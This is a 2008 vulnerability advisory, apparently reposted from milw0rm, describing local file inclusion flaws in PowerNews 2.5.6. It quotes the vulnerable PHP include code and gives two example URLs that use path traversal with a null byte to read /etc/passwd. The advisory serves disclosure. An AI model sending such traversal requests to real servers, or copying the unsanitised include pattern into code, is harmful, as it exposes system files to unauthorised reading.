88 lines
No EOL
2.6 KiB
Text
88 lines
No EOL
2.6 KiB
Text
Digital Security Research Group [DSecRG] Advisory #DSECRG-08-014
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Application: PowerNews (Newsscript)
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Versions Affected: 2.5.6
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Vendor URL: http://www.powerscripts.org/
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Bug: Multiple Local File Include
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Exploits: YES
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Reported: 01.02.2008
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Vendor Response: none
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Solution: none
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Date of Public Advisory: 08.02.2008
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Authors: Alexandr Polyakov, Stas Svistunovich
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Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
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Description
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***********
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PowerNews (Newsscript) has Multiple Local File Include vulnerabilities.
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1. Local File Include vulnerabilities found in scripts:
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pnadmin/categories.inc.php
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pnadmin/news.inc.php
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pnadmin/other.inc.php
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pnadmin/permissions.inc.php
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pnadmin/templates.inc.php
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pnadmin/users.inc.php
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Non-authentication user can directly access to this scripts.
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Code
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****
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#################################################
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if ($_GET[subpage]) {
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if (file_exists($_GET[page]."_".$_GET[subpage].".inc.php")) {
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include($_GET[page]."_".$_GET[subpage].".inc.php");
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} else {
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?><center><?PHP echo L_ALL_SUBPAGENOTFOUND; ?></center><?PHP
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}
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} else {
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#################################################
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Example:
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http://[server]/[installdir]/pnadmin/categories.inc.php?subpage=../../../../../../../../../../../../../etc/passwd%00
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2. Local File Include vulnerability found in script pnadmin/index.php in admin area.
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Administrator can include local files.
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Code
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****
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#################################################
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if ($pnloggedin != "YES") {
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include("login.inc.php");
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} else {
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if (!$_GET[page]) { $_GET[page] = "main"; }
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if (file_exists($_GET[page].".inc.php")) { include($_GET[page].".inc.php"); } else {
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#################################################
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Example:
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http://[server]/[installdir]/pnadmin/index.php?page=../../../../../../../../../../../../../etc/passwd%00
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About
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*****
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Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
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Contact: research [at] dsec [dot] ru
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http://www.dsec.ru (in Russian)
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# milw0rm.com [2008-02-08] |